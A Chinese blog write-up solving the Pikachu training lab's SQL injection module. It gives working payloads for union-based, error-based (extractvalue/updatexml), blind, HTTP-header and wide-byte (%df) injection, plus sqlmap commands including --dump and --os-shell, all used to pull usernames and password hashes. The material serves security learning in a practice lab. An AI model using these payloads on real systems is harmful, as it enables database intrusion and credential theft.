Pikachu靶场之SQL注入
Pikachu靶场之Sql注入
有关sql注入的想法
O select语句下的======搜索框之类需要查询语句的
先闭合后sql语句查询
-- q ==>注释后面的信息
order by 1 ==>查列名个数,主要服务于union select
union select database(),user() ==>查找数据库和用户
union select 1,group_concat(table_name) from information_schema.tables where table_schema='pikachu' -- q ==>查表名
union select 1,group_concat(column_name) from information_schema.columns where table_name='users' -- q ==>查列名
union select group_concat(username),group_concat(password) from users -- q ==>查密码==>送入cmd5解析
O insert/delete语句下,无明显返回,常用报错注入
INSERT INTO member(username, ...) VALUES('{$username}', ...) ==>依旧闭合''
1. extractvalue函数,需要两个参数
1'or extractvalue(1, concat(0x7e,(select database()),0x7e)) or '
2. updatexml函数,需要三个参数
' and updatexml(1,concat(0x7e,user(),0x7e),1) and ' ' or updatexml(1,concat(0x7e,(select user())),1) or ' ' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu')),1) or ' ==>后续步骤类似,查表名 username=' or updatexml(1,concat(0x7e,(select substring(group_concat(column_name),120,31) from information_schema.columns where table_name='users')),1) or ' ==>输出有限制的话,分批次 username=' or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,';',password)) from users),32,31),0x7e),1) or ' ==>爆出具体信息
下面就是以上想法的应用实操啦
数字型注入
判断注入点
把接收到的请求送入bp的重放器,然后在id那里输入
or 1=1
显而易见id是传参的地方,所以1=1是永真值,如果爆出所有数据的话说明后端对数据的处理不太严谨

输入
id=1'
返回SQL报错

这里显然使用的是select语句===>联合查询union select
而union操作要求前后两个select语句必须拥有相同的列数,所以我们需要先用order by测出原始查询的列数,再去写列数匹配的union select
order by在数据库中不仅支持按列名排序,还支持按列索引排序。如果索引值(如order by 100)大于了实际查询的总列数,数据库就会报错。因此我们通过不断递增这个数字直到触发报错,就能反推出原始查询查了多少列。

先查列数
id=2 order by 2
正常返回

id=2 order by 3
出现错误

列数为2
后面就开始使用联合查询一步步探测出我们想要的数据。
先查数据库
id =2 union select database(),version() --

查表名
id=2 union select 1,table_name from information_schema.tables where table_schema='pikachu' --

查列名
id=2 union select 1,column_name from information_schema.columns where table_name='users' --

查字段
id=2 union select username,password from users --

再用cmd5解密一下就可以了
字符型注入
随便输入一个值后送入bp的重放器

通过 ' 测试注入点

查询语句
' order by 2 --
注意最后有空格
直接请求会返回badrequest,所以需要再url编码一下


' order by 3 --

所以列数为2
查数据库
' union select 1,database() --

查表名
' union select 1,table_name from information_schema.tables where table_schema='pikachu' --

查列名
' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' --

查具体字段
' union select username,password from users --

搜索型注入
一般是比对值,和select语句有关,所以步骤和前面两个类似
测试注入点

查列数
' order by 2 -- ' order by 3 --

' order by 4 --

需要三个字段
中间步骤省略了,和字符型注入一样,唯一区别就是这里需要三个字段
直接爆出具体数据
111' union select username,password,1 from users --

Xx型注入
照例随便输一个值后送入bp的重放器

根据异常判断注入闭合有’)
因为这里也是查询语句,所以依旧使用union select,需要url编码一下
判断列数
') order by 2 --

') order by 3 --

列数为2
爆出数据库
') union select 1,database() --

爆出表名,这里group_concat的作用是把他们拼接在一起输出
') union select 1,group_concat(table_name) from information_schema.tables where table_schema='pikachu' --

爆出列名
') union select 1,group_concat(column_name) from information_schema.columns where table_name='users' --

爆出具体字段
‘) union select username,password from users --

Insert/update注入
根据提示注册一个账号

随便填值后送入bp
判断注入点


这里两个注入点应该都行,我用的的是username那里
注册使用的是insert语句,联合查询行不通,采用报错注入法
' or extractvalue(0x7e,concat(0x7e,(select database()))) or '
详细信息看这两篇
SQL注入(5):extractValue、updateXml报错注入 | IceWindy's Blog
SQL注入实战之报错注入篇(updatexml extractvalue floor) - 陈子硕 - 博客园

爆出表名
username=1'and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu')))or'

用group_concat是因为显示有多行,他只能输出一行
用substr控制输出的字符数,一次只能输出31个字符,然后慢慢移动,这里感觉用sqlmap会更简单,因为不用控制字段
爆出列名
username=1'and extractvalue(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),120,31) ))or'

爆出具体数据
username=1'and extractvalue(1,concat(0x7e,substr((select group_concat(username,':',password) from users),1,31) ))or'

Delete注入
发起删除请求时引发的SQL注入

抓包发现点击删除时会传入一个id值
测试注入点

因为delete语句本身不返回查询结果,所以这里采用报错注入,需要转一下url编码

这里传的id是整数型,不用闭合
爆出数据库
id=67 and extractvalue(1,concat(0x7e,database()))

爆出表名
id=67 or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu')))

爆出列名
id=64 or extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')))

爆出具体数据
id=64 or extractvalue(1,concat(0x7e,(select concat(group_concat(username),':',group_concat(password)) from users)))

http header注入

登陆后发现它会返回ip地址,useragent,http accept,这里后端是获取浏览器信息并插入数据库,采用报错注入
测试注入点


发现两处注入点,这里以useragent为例,需要构造闭合
' or extractvalue(1,concat(0x7e,database())) or '

要把原数据删掉,不然会报

错误
剩下的类似
爆出具体数据
' or updatexml(1,concat(0x7e,substr((select group_concat(username,":",password) from users),1,31)),1) or '

布尔盲注
随便输入数据看返回值

像是在比对数据库的值,是查询语句,如果比对成功则返回
这里不能用order by语句,因为没有返回,只能通过unionselect一次次试出列数

' union select database(),version(),@@hostname --

没返回
' union select database(),version() --

故列数为2
爆出表名
' union select 1,group_concat(table_name) from information_schema.tables where table_schema='pikachu' --

中间过程省略,爆出具体数据
' union select 1,group_concat(concat(username,':',password)) from users --

时间盲注
看了很多教程都没明白时间的判断,所以用自动化工具sqlmap
贴一下基本使用方法:
sqlmap python sqlmap.py -r x.txt --batch --dbs 查看数据库 -D选择数据库 --tables 查看表 -T选择表 --columns 查看列 -C选择列 用,隔开 --dump 查看数据 --sql-shell 进入sql的查询功能 --os-shell 提取权限,获取服务器的权限
--batch 自动选择
把bp捕获到的请求粘贴到和sqlmap.py同一目录的baseontime.txt文件下,后面的我截图截叉了,大家把id.txt改成baseontime.txt,每一步都要等挺久的
爆出数据库,这个时候还没改到同一目录
python sqlmap.py -r "D:\sqlmap\test\id.txt" –dbs


爆出表名
python sqlmap.py -r id.txt -D pikachu --tables


爆出列名
python sqlmap.py -r id.txt -D pikachu -T users --columns


爆出具体信息(这个时候截图是对的)
python sqlmap.py -r baseontime.txt -D pikachu -T users -C username,password --dump --batch


宽字节盲注
基本信息:
宽字节注入的原理: 宽字节注入的核心在于MySQL对宽字节字符(如GBK编码)的解析方式与应用程序的过滤逻辑不一致,导致转义被绕过。 背景:字符编码与转义 MySQL字符集:MySQL支持多种字符集,如UTF-8(多字节变长编码)、GBK(双字节编码,常见于中文环境)。 应用程序过滤:为了防止SQL注入,应用程序常对用户输入中的单引号(')进行转义,添加反斜杠(\),如: 输入:admin' 转义后:admin' SQL查询:SELECT * FROM users WHERE username = 'admin''; 问题:在GBK编码下,某些字节序列被解析为单个宽字节字符,导致转义失效。 GBK编码的特点 GBK是双字节字符集,用于表示中文字符:
每个字符由两个字节组成。 第一个字节范围:0x81-0xFE。 第二个字节范围:0x40-0xFE(部分范围)。 单引号'的ASCII编码为0x27,反斜杠\的ASCII编码为0x5C。 当应用程序添加反斜杠转义单引号(' -> 0x5C 0x27),MySQL在GBK模式下可能将0x5C 0x27解析为一个宽字节字符(而非')。 宽字节注入的触发 攻击者输入一个宽字节字符(如%df)后跟单引号':
示例:输入%df'(URL编码),解码为0xDF 0x27。 应用程序转义:0xDF 0x27 -> 0xDF 0x5C 0x27(添加反斜杠)。 MySQL在GBK模式下: 0xDF 0x5C被解析为一个GBK字符(如運)。 剩下的0x27仍为单引号',未被转义。 结果:单引号未被正确转义,注入成功。
简而言之就是用 %df 来绕过对 ' 的转义
测试注入点
name=ddd%df' or 1=1 --

爆出具体数据
name=ddd%df' union select username,password from users --

总结
整体思路是
1.判断注入点
2.思考数据库逻辑。如果是使用查询语句的话,采用联合查询,先用order by判断列数;如果使用insert/delete语句的话,直接进入下一步
3.爆出数据库
4.爆出表名
5.爆出列名
6.爆出具体字段
当然还有一种方法是用sqlmap,具体的看时间盲注那里
以上就是我的pikachu靶场SQL注入模块的分享,感谢观看哈哈!

pikachu靶场下SQL注入模块的分享
浙公网安备 33010602011771号